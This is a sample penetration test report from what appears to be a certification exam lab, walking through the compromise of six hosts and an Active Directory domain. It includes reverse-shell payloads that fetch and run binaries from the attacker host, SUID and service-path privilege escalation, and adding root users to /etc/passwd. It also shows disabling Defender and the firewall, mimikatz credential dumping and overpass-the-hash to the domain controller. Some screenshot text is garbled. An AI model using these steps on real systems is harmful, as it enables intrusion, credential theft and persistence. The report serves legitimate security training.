Sample Penetration Test Report

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1. Penetration Test Report

1.1 Introduction

The penetration test report contains all efforts that were conducted in order to pass the [redacted] objective. This report contains all items that were used to accomplish the results. The purpose of this report is to communicate all findings and methods of remediation to prevent exploits by others.

1.2 Objective

The objective of this assessment is to perform an internal penetration test against the [redacted] network. We were tasked with following methodical approach in obtaining access to the objective goals. There were 6 machines total. 3 are a part of the same Active Directory network. And the other 3 are independent targets. The goal is to gain full compromise of all targets with a fully interactive root/system shell.

1.3 Requirements

This penetration testing report will include the following sections:

- Overall High-Level Summary and Recommendations (non-technical)
- Methodology walkthrough and detailed outline of steps taken
- Each finding with included screenshots, walkthrough, sample code, and proof.txt if applicable.
- Any additional items that were not included

2. High-Level Summary

We were tasked with performing an internal penetration test towards six [redacted] targets. An internal penetration test is a dedicated attack against internally connected systems. The focus of this test is to perform attacks, similar to those of a hacker and attempt to infiltrate [redacted]'s internal exam systems – the xxxx.xxxx domain. The overall objective was to evaluate the network, identify systems, and exploit flaws while reporting the findings back to [redacted].

When performing the internal penetration test, there were several alarming vulnerabilities that were identified on [redacted]'s network. When performing the attacks, we gained full access to multiple machines, primarily due to outdated patches and poor security configurations. During the testing, we had administrative level access to multiple systems. Out of 6 targets, 4 were fully compromised and one was partially compromised with a low privilege shell.

2.1 Recommendations

Our recommendation is to patch the vulnerabilities identified during the testing to ensure that an attacker cannot exploit these systems in the future. One thing to remember is that these systems require frequent patching and once patched, should remain on a regular patch program to protect additional vulnerabilities that are discovered at a later date.

3. Methodologies

We utilized a widely adopted approach to performing penetration testing that is effective in testing how well the [redacted] Exam environments are secure. Below is a breakout of how we were able to identify and exploit the variety of systems and includes all individual vulnerabilities found.

3.1 Information Gathering

The information gathering portion of a penetration test focuses on identifying the scope of the penetration test. During this penetration test, John was tasked with exploiting the exam network. The specific IP addresses were:

[Redacted]

3.2 Service Enumeration

The service enumeration portion of a penetration test focuses on gathering information about what services are alive on a system or systems. This is valuable for an attacker as it provides detailed information on potential attack vectors into a system. Understanding what applications are running on the system gives an attacker needed information before performing the actual penetration test. In some cases, some ports may not be listed.

3.3 Penetration

The penetration testing portions of the assessment focus heavily on gaining access to a variety of systems. During this penetration test, we were able to successfully gain access to 4.5 out of the 6 systems.

3.4 Maintaining Access

Maintaining access to a system is important to us as attackers, ensuring that we can get back into a system after it has been exploited is invaluable. The maintaining access phase of the penetration test focuses on ensuring that once the focused attack has occurred (i.e., a buffer overflow), we have administrative access over the system again. Many exploits may only be exploitable once and we may never be able to get back into a system after we have already performed the exploit. We added administrator and root level accounts on some of the systems compromised. Some can be replicated easily so to avoid detection; no root accounts were added.

3.5 House Cleaning

The house cleaning portions of the assessment ensures that remnants of the penetration test are removed. Often fragments of tools or user accounts are left on an organizations computer which can cause security issues down the road. Ensuring that we are meticulous and no remnants of our penetration test are left over is important.

Since the sample network is a simulated environment, there was no need for manual removal of remnants, a quick revert could do the trick. But in a real-life situation we would have removed my traces after a penetration test.

4. Independent Challenges

4.1 Target #1 – [Redacted]

4.1.1 Service Enumeration

Port Scan Results

IP Address	Ports Open	
[Redacted]	TCP: [Redacted]	

Port [Redacted] Enumeration

As a part of the Nikto Scan (nikto -h [Redacted]), it found /login.php in port [Redacted], Upon visiting that URL, I noticed it was running an outdated [Redacted] 4.7.13 that uses a weak default password "[Redacted]" and is prone to File Upload Remote Code Execution vulnerability.

4.1.2 Initial Access – Authenticated File Upload Remote Code Execution

Vulnerability Explanation: [Redacted] 4.7.13 is subject to is a file upload restriction bypass vulnerability which allows an admin privileged user to gain access in the host through the "manage files" functionality, which resulted in remote code execution. A quick attempt was made at guessing the password using common default ones, and "[Redacted]" was found to be valid.

Vulnerability Fix: Change password to something unique. As well as updating the [Redacted]

Severity: Critical

Steps to reproduce the attack:

A quick vulnerability search "searchsploit [Redacted]" turned up a script that matches version 4.7.13 exactly.



Without any modification, the script ran successfully.

<pre>(root@ kali)-[/home/kali/Downloads</pre>	s/Tools] admin ''
Authentification was succesfull, uplo	oading webshell
Uploaded Webshell to: http://	/files/shell.phar

And a very good web shell became available right away as shown below.

Although this web shell is very good and appear to be interactive, just for safety. We used this web shell to upload a custom payload which enabled me access to a fully interactive shell on our kali machine. Commands used were:

kali>msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.49.124 LPORT=443 EXITFUNC=thread -f elf -o test.elf

kali>python -m http.server 80

kali (new terminal)>nc -nlvp 443

webshell>cd /tmp && wget http://192.168.49.124/test.elf

webshell>chmod +x test.elf && ./test.elf



A basic shell was successful. A quick upgrade turned it into a fully interactive shell using:

shell> python3 -c 'import pty; pty.spawn("/bin/bash")'

We also ran this command to ensure we get access to all binaries possible, just as good practice:

export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/usr/games:/tmp

Proof of Concept Code: [Redacted]

4.1.3 Privilege Escalation – Unknown SUID

Vulnerability Explanation: After establishing a foothold on target, we used a standard scan tool "linpeas.sh" to explore possible vectors for privilege escalation. We downloaded it using wget similarly to the above. The script quickly found a questionable SUID (php7.4). This SUID binary executes as root and using this we gained a root level shell to the system. Fully compromising it.

linpeas.sh can be found here: https://www.kali.org/tools/peass-ng/

Vulnerability Fix: Change the /usr/bin/php7.4 binary to not run as root. It has too much privilege.

Severity: Critical

Steps to reproduce the attack:

sh>wget http://192.168.49.124/peass/linpeas.sh

sh>chmod +x linpeas.sh && ./linpeas.sh

The script quickly found a questionable SUID (php7.4) shown below:

-rwsr-xr-x ble	1 root	: root 146K Jan 31	2020 /snap/core18/1705/usr/bin/sudo
-rwsr-xr	1 root	systemd-resolve	42K Jun 10 2019 /snap/core18/1705/usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x	1 root	root 427K Mar 4	2019 /snap/core18/1705/usr/lib/openssh/ssh-keysign
-rwsr-sr-x	1 root	root 4.6M Jun 13	2022 /usr/bin/php7.4 (Unknown SUID binary!)
-rwsr-xr-x	1 root	root 87K Mar 14	2022 /usr/bin/gpasswd
-rwsr-xr-x	1 root	root 31K Feb 21	2022 /usr/bin/pkexec> Linu
1485)			pownyeahe pownyeahe pownloads
-rwsr-xr-x	1 root	root 52K Mar 14	2022 /usr/bin/chsh

Since it gets executed as root, we were able to exploit this. A quick web search using GTFOBins turned up this code we used to try:

0	A https://gtfob	ins.github.io/gtfobins/php/#suid	目 🖣 🕁	岔	${igodot}$	⊻	D	<u>@</u>	۵	-8	Ay	ш 1
		<pre>export LFILE=file_to_read php -r 'readfile(getenv("LFILE"));'</pre>										
		SUID										
		If the binary has the SUID bit set, it does not drop the system, escalate or maintain privileged access as a argument on systems like Debian (<= Stretch) that allo	e elevated privileges and r a SUID backdoor. If it is u ow the default <u>sh</u> shell to r	nay be used to un with	abuse run SUID	ed to sh -p privi	acce , on leges	ess the nit the S.	e file Ə <mark>-p</mark>			
		This example creates a local SUID copy of the binary an existing SUID binary skip the first command and ru	and runs it to maintain elenn the program using its ori	evated p ginal pa	orivile th.	ges	To int	teract	with			
		<pre>sudo install -m =xs \$(which php) . CMD="/bin/sh" ./php -r "pcntl_exec('/bin/sh', ['-p']);"</pre>										
		Sudo										
									• •			

Using this sample, the command /usr/bin/php7.4 -r "pcntl_exec('bin/sh', ['-p']); successfully gave us

a root shell.



A direct shell upgrade using python did not work, so we used this root shell and added a second root user instead in order to gain a fully interactive shell. This also allowed easy future access if needed.

The password hash was generated using: openssl passwd -1 -salt [Redacted]

sh>echo [Redacted].:0:0:root2:/root:/bin/bash' >> /etc/passwd



4.1.4 Post-Exploitation

System Proof Screenshot:

[Redacted]

4.2 Target #2 – [Redacted]

4.2.1 Service Enumeration

Port Scan Results

IP Address	Ports Open
[Redacted]	TCP: [Redacted]

FTP Enumeration

We quickly found out that this FTP service allows anonymous logins. (<u>ftp [Redacted]</u>) by using username "anonymous" and any password. We were able to download 5 files, one of them contained an audit which showed common passwords and new password policy. But I was not able to explore further.

Website Enumeration

Although we did not gain initial foothold to this machine. There were still some interesting findings worth noting. For example after running nikto -h [Redacted], and wpscan --url [Redacted] -- enumerate ap,at,cb,dbe.

I found the login page /wp-login.php, this login page provides different error messages for when the username is incorrect versus password. I was able to find the username [Redacted] easily because it confirmed for us. We were not able to find a password, however given the leaked audit report. An attacker can utilize it to create custom wordlists for brute forcing the password.

Vulnerability Fix:

Anonymous logins should be disabled in the FTP server, better care is needed for sensitive documents such as the audit report. Upgrade the wordpress login messages so that they provide the same error message without verifying if the username was guessed correctly.

4.2.2 Initial Access – N/A

4.2.3 Post-Exploitation – N/A

4.3 Target #3 – [Redacted]

4.3.1 Service Enumeration

Port Scan Results

IP Address	Ports Open
[Redacted]	TCP: [Redacted]

Website Enumeration

4.3.2 Initial Access – Password Brute Forcing

Vulnerability Explanation:

The nikto scan showed /log.txt which contained 3 clear text password hashes. Two of them were cracked successfully giving us plain text passwords. The smb service was enumerated using enum4linux and since it allowed null sessions using username "" and password "", it provided us with a list of usernames. Combining these two lists, a brute force into the ssh service was successful and we gained access to the machine.

Vulnerability Fix:

Update the log file and the script to remove password hashes. Change SMB settings to disallow null sessions. And avoid password re-use as much as possible, a password manager can be helpful.

Severity: Critical

Steps to reproduce the attack:

From a web browser, go to [Redacted] /log.txt

screenshot below shows one hash visible out of three that I found.

		× +	
$\leftarrow \rightarrow$ C \textcircled{a} C	/log.txt		
🛰 Kali Linux 📪 Kali Tools 🛛 💆 Kali Docs	🐹 Kali Forums 🛛 🤜 Kali NetHunter	🛸 Exploit-DB 🛸 Google Hacking DB 🗍	OffSec Getting Started 🕀 Amazo
2022-10-17 08:40:00 - Main - <di>MOULE</di>	: iogin(4.1.2) <pi>iogin_success=y</pi>	es;/iorum/signout.pnp;iogout=user5583;s	session=expired
2022-10-17 09:42:19 - main - Module	: login(4.1.2) login_success=y	es;/forum/signout.php;logout=user3409;p	psession=expired
2022-10-17 11:08:35 - main - br>Module	: login(4.1.2) login_success=y	es;/forum/signout.php;logout=user4158;p	password=correct
2022-10-1/ 12:10:35 - main - br>Module	: login(4.1.2) login_success=y	es;/forum/signout.php;logout=user2028;	session=expired
2022-10-17 13:12:19 - main - <pre>Di>Module 2022 10 17 14:02:25 main <pre>chr>Module</pre></pre>	: login(4.1.2) br>login_success=)	<pre>/es;/forum/signout.php;logout=user9340;p /os:/forum/signout.php;logout=user1120;</pre>	password=correct
2022-10-17 14:05:25 - main - DI-MOUUL	<pre>: login(4.1.2) br>login_success=)</pre>	ves;/forum/signout.php;logout=user1129;s	session-expired
2022-10-17 16:40:10 - main - http://www.action.com	<pre>: login(4.1.2) br>login_success=)</pre>	es;/forum/signout_php;logout=user/158;	session=expired
2022-10-17 16:52:25 - main - bi>Module	<pre>: login(4.1.2) br>login_success=)</pre>	es:/forum/signout_php;logout=user1120;	session=expired
2022-10-17 17:10:05 - main - br>Module	: login(4.1.2) br>login_success=v	es:/forum/signout.php:logout-user3409:	session=expired
2022-10-18 07:49:19 - main - Module	: login(4.1.2) login success=v	ves:/forum/login_auth.php;login=user9340	0:password=correct
2022-10-18 07:56:25 - main - Module	: login(4.1.2) login_success=y	es;/forum/login_auth.php;login=user1129	9;password=correct
2022-10-18 08:01:05 - main - Module	: login(4.1.2) login_success=r	o;/forum/login_auth.php;login=user3409;	;password=incorrect
2022-10-18 08:02:29 - main - Module	: login(4.1.2) login_success=r	o;/forum/login_auth.php;login=user3409;	password=incorrect
2022-10-18 08:03:45 - main - Module	: login(4.1.2) login_success=y	es;/forum/login_auth.php;login=user3409	9;password=correct
2022-10-20 08:12:19 - main - Module	: login(4.1.2) login_success=y	es;/forum/login_auth.php;login=user8763	3;password=correct
2022-10-20 08:18:35 - main - Module	: login(4.1.2) login_success=y	es;/forum/login_auth.php;login=user2902	2;password=correct
2022-10-20 08:20:05 - main - Module	: login(4.1.2) login_success=y	es;/forum/login_auth.php;login=user5583	3;password=correct
2022-10-20 09:42:19 - main - Module	: login(4.1.2) login_success=y	es;/forum/login_auth.php;login=user3409	9;password=correct
2022-10-20 11:30:35 - main - Module	: login(4.1.2) login_success=y	es;/forum/login_auth.php;login=user2028	B;password=correct
2022-10-20 13:12:19 - main - Module	: login(4.1.2) login_success=y	es;/forum/login_auth.php;login=user9340	0;password=correct
2022-10-20 14:03:25 - main - Module	: login(4.1.2) login_success=y	es;/forum/login_auth.php;login=user112	9;password=correct
2022-10-20 14:55:05 - main - br>Module	: login(4.1.2) login_success=y	es;/forum/login_auth.php;login=user4158	B;password=correct
2022-10-18 07:49:19 - main - br>Module	: login(4.1.2) login_success=y	es;/Torum/signout.pnp;logout=user4158;	session=expired
2022-10-18 07:56:25 - main - br>Module	: login(4.1.2) login_success=)	<pre>/es;/torum/signout.pnp;logout=user1129;s</pre>	session=expired
2022-10-18 08:01:05 - main - br>Module	: login(4.1.2) br>login_success=y	<pre>//signout.php;logout=user3409;s //signout.php;logout=user3409;s</pre>	session=expired
2022-10-10 08:12:19 - Main - Spimodule	<pre>: login(4.1.2) bi>login_success=)</pre>	forum/pw.php:usor=27:hash=	SSW010-C011ecc
2022-10-18 07:49:19 - main - chr>Module	: login(4.1.2) bi>login success=	roidm/pw.php.user=0/,hash-	0:password=correct
2022-10-18 07:56:25 - main - br>Module	<pre>: login(4.1.2) login_success=)</pre>	es:/forum/login_auth_php;login=user1120	9:password=correct
2022-10-18 08:01:05 - main - br>Module	: login(4.1.2) br>login_success=r	o:/forum/login_auth.php:login=user3409	:password=incorrect
2022-10-18 08:02:29 - main - or>Module	: login(4.1.2) br>login success=r	o;/forum/login_auth.php;login=user3409	password=incorrect
2022-10-18 08:03:45 - main - Module	: login(4.1.2) login_success=y	es;/forum/login_auth.php;login=user3409	9;password=correct

Copy and paste all the password hashes into <u>https://crackstation.net/</u>, 2 passwords will be found.



Copy and paste the 2 passwords into a text file (pass.txt), one password each line.

Kali>enum4linux -a [Redacted]

Copy and paste the usernames found near the end of the scan. Remove irrelevant info such as SID, domain and (Local User). For example: S-1-22-1-1000 Unix User\[Redacted] (Local User) becomes " [Redacted]". Put this into another word file user.txt, one username per line.

Kali> hydra -f -L user.txt -P pass.txt ssh:// [Redacted] -u

You will find that [Redacted] is a valid pair. Using this you can successfully log into the machine using: ssh [Redacted] @[Redacted]

4.3.3 Privilege Escalation – N/A

Our attempt at privilege escalation did not succeed. However, we did notice that root ssh signins are permitted. This is generally bad practice and should be avoided if possible.

4.3.4 Post-Exploitation

System Proof Screenshot: N/A

5. Active Directory Set

Port Scan Results

IP Address	Ports Open
[Redacted]	TCP: [Redacted]
[Redacted]	Internal Network
[Redacted]	Internal Network

5.1 – [Redacted]

5.1.1 Initial Access – [Redacted]

Vulnerability Explanation: [Redacted]has a critical vulnerability [Redacted]which allows for unauthenticated Remote Code Execution.

Vulnerability Fix: Use alternative service or update/patch [Redacted]if possible. Since this is a fairly recent exploit, a patch may not yet be available.

Severity: Critical

Steps to reproduce the attack:

Start with nmapAutomator scan on the target. nmapAutomator.sh --host [Redacted]--type All

Available here if needed: <u>https://github.com/21y4d/nmapAutomator</u>

After it runs all port scans it will automatically run script scans on the open ports. Here you'll see [Redacted]pop up as shown below.



From a quick research related to "[Redacted] exploit", I found:

https://github.com/[Redacted]

Save the python script locally, I called mine test.py, no modifications are needed and it can run directly.



The provided link gives an instant webshell capable of executing commands.

				+
\leftarrow \rightarrow C \textcircled{a}	🔿 🖧 https://		/authenticatior	nendpoint/test.jsp
🐂 Kali Linux 🛛 🚓 Kali Tools	🧧 Kali Docs 🛛 💐 Kali Forums	s 🛛 🕂 Kali NetHunter	🔌 Exploit-DB	🔌 Google Hackin
systeminfo	Run			
Host Name:				
OS Name:	Microsoft Windows 10 Pro			
OS Version:	10 0 19044 N/A Build 19044			
OS Manufacturer:	Microsoft Corporation			
OS Configuration:	Member Workstation			
OS Build Type:	Multiprocessor Free			
Registered Owner:	admin			
Registered Organization:				
Product ID:	00331-10000-00001-AA345			
Original Install Date:	5/26/2022, 8:57:18 PM			
System Boot Time:	9/14/2022, 11:36:51 PM			
System Manufacturer:	VMware, Inc.			
System Model:	VMware7,1			
System Type:	x64-based PC			
Processor(s):	1 Processor(s) Installed. [01]: Intel64 Family 6 Moo	lel 79 Stepping 1 G	enuineIntel ~23	00 Mhz
BIOS Version:	VMware, Inc. VMW71.00V.182	27214.B64.21062522	20, 6/25/2021	
Windows Directory:	C:\Windows			
System Directory:	C:\Windows\system32			
Boot Device:	\Device\HarddiskVolume1	<u>A.</u>		
System Locale:	en-us;English (United Stat	es)		
Input Locale:	en-us;English (United Stat	es)		
Total Physical Momerus	(UIC-08:00) Pacific fime (US & Canada)		
Available Physical Memory:	1 0/2 MB			
Virtual Memory: Max Size:	4 799 MB			
Virtual Memory: Available:	1.369 MB			
Virtual Memory: In Use:	3.430 MB			
Page File Location(s):	C:\pagefile.sys			
Domain:				
Logon Server:				
Hotfix(s):	5 Hotfix(s) Installed.			
	[01]: KB5013624			
	[02]: KB5003791			
	[03]: KB5013942			
	[04]: KB5014032			
	[05]: KB5005699			
Network Card(s):	2 NIC(s) Installed.			
	[VI]: VMXNet3 Ethernet Ada	pter		
	Connection Name: Etr	leineto 2		
	TP addross(os)			
	[011: 192.168.124.10	1		

To upgrade from a web shell to a fully interactive shell on attacker machine, first create a payload:

Kali>msfvenom -p windows/shell_reverse_tcp LHOST=192.168.49.124 LPORT=443 EXITFUNC=thread -f

exe -o test.exe

Start python http server with: python -m http.server 80

Start netcat listener on another terminal with: nc -nlvp 443



Apply the following command into the web shell:

powershell certutil -urlcache -f http://192.168.49.124/test.exe C:\Windows\temp\test.exe; C:\ Windows\temp\test.exe

A full interactive shell is activated as shown below.



Flag local.txt shown below.

[Redacted]

5.1.2 Privilege Escalation – Unquoted Service Path

Vulnerability Explanation: Due to a windows service executable path that was not properly enclosed within quotes, it allows attacker to redirect the execution path to a different .exe file which grants the attacker a full system shell.

Vulnerability Fix: Fix the service executable path and add quotes as necessary so that only one path is valid to the executable.

Severity: Critical

Steps to reproduce the attack:

First, we downloaded and ran a vulnerability checker script on the victim machine with:

sh>cd C:\Users\Bob.Martin\Desktop

sh>powershell -nop -w hidden -noni -ep bypass

sh>certutil -urlcache -f http://192.168.49.124/PowerUp.ps1 PowerUp.ps1

The script can be found here:

https://github.com/PowerShellMafia/PowerSploit/blob/dev/Privesc/PowerUp.ps1

sh>import-module .\PowerUp.ps1

sh>.\PowerUp.ps1

sh>Invoke-AllChecks

One of the scan results will show:

[*] Checking for unquoted service paths...

ServiceName : RemoteSystemMonitorService

[Redacted]

sh>cd C:\Program Files (x86)\ [Redacted]

sh>cp C:\Windows\temp\test.exe Remote.exe

Start another netcat listener on the kali machine, then restart the victim machine:

kali>nc -nlvp 443

sh>restart-computer

On kali a system level shell is caught:



5.1.3 Post-Exploitation

System Proof screenshot:

[Redacted]

After collecting the proof file we changed the Administrator password to [Redacted] using:

sh>net user Administrator [Redacted]

To make future tasks easier, we also ran the following commands to disable any possible anti-virus or firewall from blocking further exploits, as well as enabling RDP so that I can connect directly from our kali machine using the updated credentials for Administrator.

sh>sc stop WinDefend

sh>netsh advfirewall set allprofiles state off

sh>netsh firewall set opmode disable

sh>reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\ WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f

sh>Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server' -name "fDenyTSConnections" -value 0

sh>Enable-NetFirewallRule -DisplayGroup "Remote Desktop"

To further attack the other windows machines, we also uploaded mimikatz.exe:

sh>powershell certutil -urlcache -f http:// [Redacted]/mimikatz.exe mimikatz.exe

kali>xfreerdp /u:Administrator /p: [Redacted] /v: [Redacted]



Using mimikatz.exe, we checked for all possible passwords and password hashes in this machine with: sekurlsa::logonpasswords

We found another domain user [Redacted], with password hashes. We confirmed that she is a domain user using: net user [Redacted]/domain

- User Name : [Redacted]
- Domain : [Redacted]
- Logon Server : [Redacted]

Logon Time : 3/15/2023 10:55:56 PM

SID : [Redacted]

msv :

[0000003] Primary

- * Username : [Redacted]
- * Domain : [Redacted]

- * NTLM : [Redacted]
- * SHA1 : [Redacted]
- * DPAPI : [Redacted]

Typing the NTLM password hash into crackstation.net revealed a valid password for Alice for further lateral movements.

[Redacted]

- → C @ O	A https://crackstation.net	Qu 📩	\$ ⊘	÷] D		el 🔹	N 3	## 🐹	U 🐁	0	<u></u> ර	≡
CrackSt KKStation * Password Hashin	g Security × Defuse Security ×							Defus	se.ca	y	Twitt	er
	Free Password Hasl	h Cracker										
	Enter up to 20 non-salted hashes, one per line:											
			'm not a robe	ot	m	С						
			Cra	ck Hashes	Priv	acy - Terma						
	Supports: LN, NILH, moz, mo4, mo5, mo5(mo5_nex), mo5-nait, sna1, sna224, sna256, sna364, sna512 Hash	z, npembito, wninpool,	Type	hat(shat_bir	n)), Qube R	esult	pueraults	_				
	Color Codes: Graeni Exact match, Yellow: Partial match, Tell Not found.	NT	LM									
	Download CrackStatic	on's Wordlist										
	How CrackStation Works											

We also performed a quick ping scan and since this machine is on the [Redacted] network, the other two machines both responded to ping requests. To maximize my chances for future exploits, we also enabled Internet Protocol Version 6 in both ethernet adapter settings for [Redacted].



We also uploaded more tools for further exploitation against the other machines. As well as generating a new test.exe to redirect future shells to [Redacted] which is also known as [Redacted] in the internal network. Another vulnerability scanner winPEASany.exe which is from the same package as linpeas.sh mentioned earlier.

Kali>msfvenom -p windows/shell_reverse_tcp LHOST=[Redacted] LPORT=443 EXITFUNC=thread -f exe -o test.exe

sh>certutil -urlcache -f http://192.168.49.124/nc.exe nc.exe

sh>certutil -urlcache -f http://192.168.49.124/test.exe test.exe

sh>certutil -urlcache -f http://192.168.49.124/peass/winpeas/winPEASany.exe winpeas.exe

5.2 – [Redacted]

5.2.1 Initial Access – RDP login

Steps to reproduce the attack: with the credentials at hand and RDP enabled, we used Remote Desktop Connections on [Redacted] and successfully logged into [Redacted] as [Redacted]. [Redacted] is not an admin user, so only local.txt can be collected at the time.

•			
Recycle Bir	Administrator: Windows PowerShell ## / \ ## /*** Benjamin DELPY `gentilkiwi` (## \ (## https://blog.gentilkiwi.com/mimikatz	- □ ×)	
R	'## v ##' Vincent LE TOUX () **********************************) gon.com ***/ — — — — 3c576f657 /run:cmd.exe	
Microsoft Edge		Windows Security Enter your credentials	×
proof	B: Computer: 12 User name: 12 You will be asked for credentials when	These credentials will be used to connect to	
mimikatz	Show Options B1E3CD468 (32) -> null	Password Remember me	
fgdump	mimikatz # exit Bye! PS C:\Users\Administrator\Desktop> certutil -urlcache -f http **** Online **** CertUtil: -URLCache command completed successfully.	More choices	
2023-03-16.	PS C:\Users\Administrator\Desktop> .\fgdump.exe fgDump 2.1.0 - fizzgig and the mighty group at foofus.net Written to make j0m0kun's life just a bit easier Copyright(C) 2008 fizzgig and foofus.net fgdump comes with ABSOLUTELY NO WARRANTY! This is free software, and you are welcome to redistribute it	Q Use a different account	
	under certain conditions; see the COPYING and README files fo more information. No parameters specified, doing a local dump. Specify -? if yo Session ID: 2023-03-16-07-03-25	OK Cancel	
127.0.0.1.p.	Starting dump on 127.0.0.1		

After RDP connection was successful, local.txt flag is shown below:

[Redacted]

Inside RDP connection more settings, you can share local drive also, to make file transfers easier, we enabled file sharing so that [Redacted] can have access to all the tools and exploits uploaded to [Redacted]

. Details on how to do that can be found here: <u>https://www.helpwire.app/blog/remote-desktop-</u> transfer-files/

From the C:\Users\ folder, another username showed up as [Redacted]. Upon a quick check, he is a

domain admin. It became our primary focus for later exploits for the domain controller.



5.2.2 Privilege Escalation – User Modifiable Binary

After running both PowerUp.ps1 and winPEASany.exe. One of the vulnerabilities that jumped out at us was a modifiable binary that was running by user LocalSystem. Located at:

[Redacted]

After starting a netcat listener on [Redacted] with: .\nc.exe -nlvp 443

We copied the new test.exe to [Redacted]'s desktop. Then ran the following commands on [Redacted] against the [Redacted] binary:

sh>cd C:\[Redacted]

sh>mv [Redacted] old.exe

sh>cp C:\Users\Alice.Walters\Desktop\test.exe [Redacted]

We then manually restarted the computer from the start menu and a root shell was popped up at [Redacted].

6					8
0	Administrator: Windows PowerShell BUILTIN\Users	Alias		— □ × Mandatory gro∧	
Recycle	up, Enabled by default, Enabled group in PSExecBUILTIN\Remote Desktop Users up, Enabled by default. Enabled group	Alias		Mandatory gro	
	NT AUTHORITY\REMOTE INTERACTIVE LOGON	Well-known group		Mandatory gro	
	up, Enabled by default, Enabled group	Well-known group		Mandatory gro Mandatory gro	
Microso Edge	t puttup, Enabled by default, Enabled group NT AUTHORITY\This Organization	Well-known group		Mandatory gro	
	LOCAL up, Enabled by default, Enabled group	Well-known group		Mandatory gro	
	OSCP\RDPUsers up, Enabled by default, Enabled group	Group		Mandatory gro	
proor	up, Enabled by default, Enabled group Mandatory Label\Medium Mandatory Level	Label		Handacory gro	
0	C:\xampp\mysql\bin>exit				
mimika	exit z winpePS C:\Users\Administrator\Desktop> .\nc -	11vp 443			
	PS C:\Users\Administrator\Desktop> .\nc -: listening on [any] 443	11vp 443			
	Connect to Microsoft Windows [Version 10.0.17763.2989 (c) 2018 Microsoft Corporation. All rights] 5 reserved.			
fgdum) <u>ua</u> c				
kerber	test PS C:\Users\Administrator\Desktop> ^C PS C:\Users\Administrator\Desktop> .\nc -	11vp 443			
	listening on [any] 443 connect to from (UNKNOWN) Microsoft Windows (Warrion 10 0 17763 208))			
đ	(c) 2018 Microsoft Corporation. All right:	s reserved.			
plink	temp whoami nt authority\system		Activate Wind	lows	
	C:\Windows\system32>_		Go to settings to a		
	ア Type here to search 甘	0 🗮 🗄 /	× ^	€ 3:07 AM 3/16/2023 □	

Flag proof.txt shown below.

[Redacted]

5.3 – [Redacted]

5.3.1 Initial Access – Overpass the Hash and PsExec

Steps to reproduce the attack:

We copied mimikatz.exe from [Redacted] to [Redacted], ran the same command: sekurlsa::logonpasswords, some information for [Redacted] was retrieved. Including the computer name [Redacted] for the domain controller as well as the NTLM hash. We were not able to crack the password using this hash, nor can we access the domain controller using RDP.

- User Name : [Redacted]
- Domain : [Redacted]
- Logon Server : [Redacted]
- Logon Time : 3/16/2023 3:06:43 AM
- SID : [Redacted]
- * Username : [Redacted]
- * Domain : [Redacted]
- * NTLM : [Redacted]
- * SHA1 : [Redacted]
- * DPAPI : [Redacted]

In order to gain access to the final domain controller, we utilized PsExec64.exe tool which can be found here: <u>https://learn.microsoft.com/en-us/sysinternals/downloads/psexec</u>

It was first transferred from kali into [Redacted]using certutil similar to the others, then copied over to [Re dacted].

We also used the system shell to change the password for Administrator to [Redacted] using: net user Administrator [Redacted]

After restarting the RDP as Administrator, we launched mimikatz.exe and tried to utilize a technique

called overpass the hash. We ran the following command in mimikatz.exe to begin:



This launched a powershell window. Then we ran the following commands to access the remote computer.

27 \\dc01: cmd.exe	-		×
PS C:\Windows\system32> whoami \administrator PS C:\Windows\system32> net use \\dc01 The command completed successfully.			^
PS C:\Windows\system32> klist			
Current LogonId is 0:0x51394b			
Cached Tickets: (0) PS C:\Windows\system32> .\PsExec64.exe \\dc01 cmd.exe .\PsExec64.exe : The term '.\PsExec64.exe' is not recognized as the name of function, script file, or operable program. Check the spelling of the name, path was included, verify that the path is correct and try again. At line:1 char:1 + .\PsExec64.exe \\dc01 cmd.exe + + CategoryInfo : ObjectNotFound: (.\PsExec64.exe:String) [], Co oundException + EullyOualifiedErrorId : CommandNotFoundException	a cm or i omman	ndlet f a ndNotf	, F
PS C:\Windows\system32> cd C:\Users\ PS C:\Users> cd .\ PS C:\Users\			
PsExec v2.4 - Execute processes remotely Copyright (C) 2001-2022 Mark Russinovich Sysinternals - www.sysinternals.com			
Microsoft Windows [Version 10.0.17763.2989] (c) 2018 Microsoft Corporation. All rights reserved.			
<u>C:\Windows\system</u> 32>whoami			
Activat	e Wir	dew	¥
PsExec v2.4 - Execute processes remotely Copyright (C) 2001-2022 Mark Russinovich Sysinternals - www.sysinternals.com			
Microsoft Windows [Version 10.0.17763.2989] (c) 2018 Microsoft Corporation. All rights reserved.			
C:\Windows\system32>whoami			

<u>C:\W</u>indows\system32>hostname

C:\Windows\system32>_

5.3.2 Post-Exploitation

System Proof Screenshot:

[Redacted]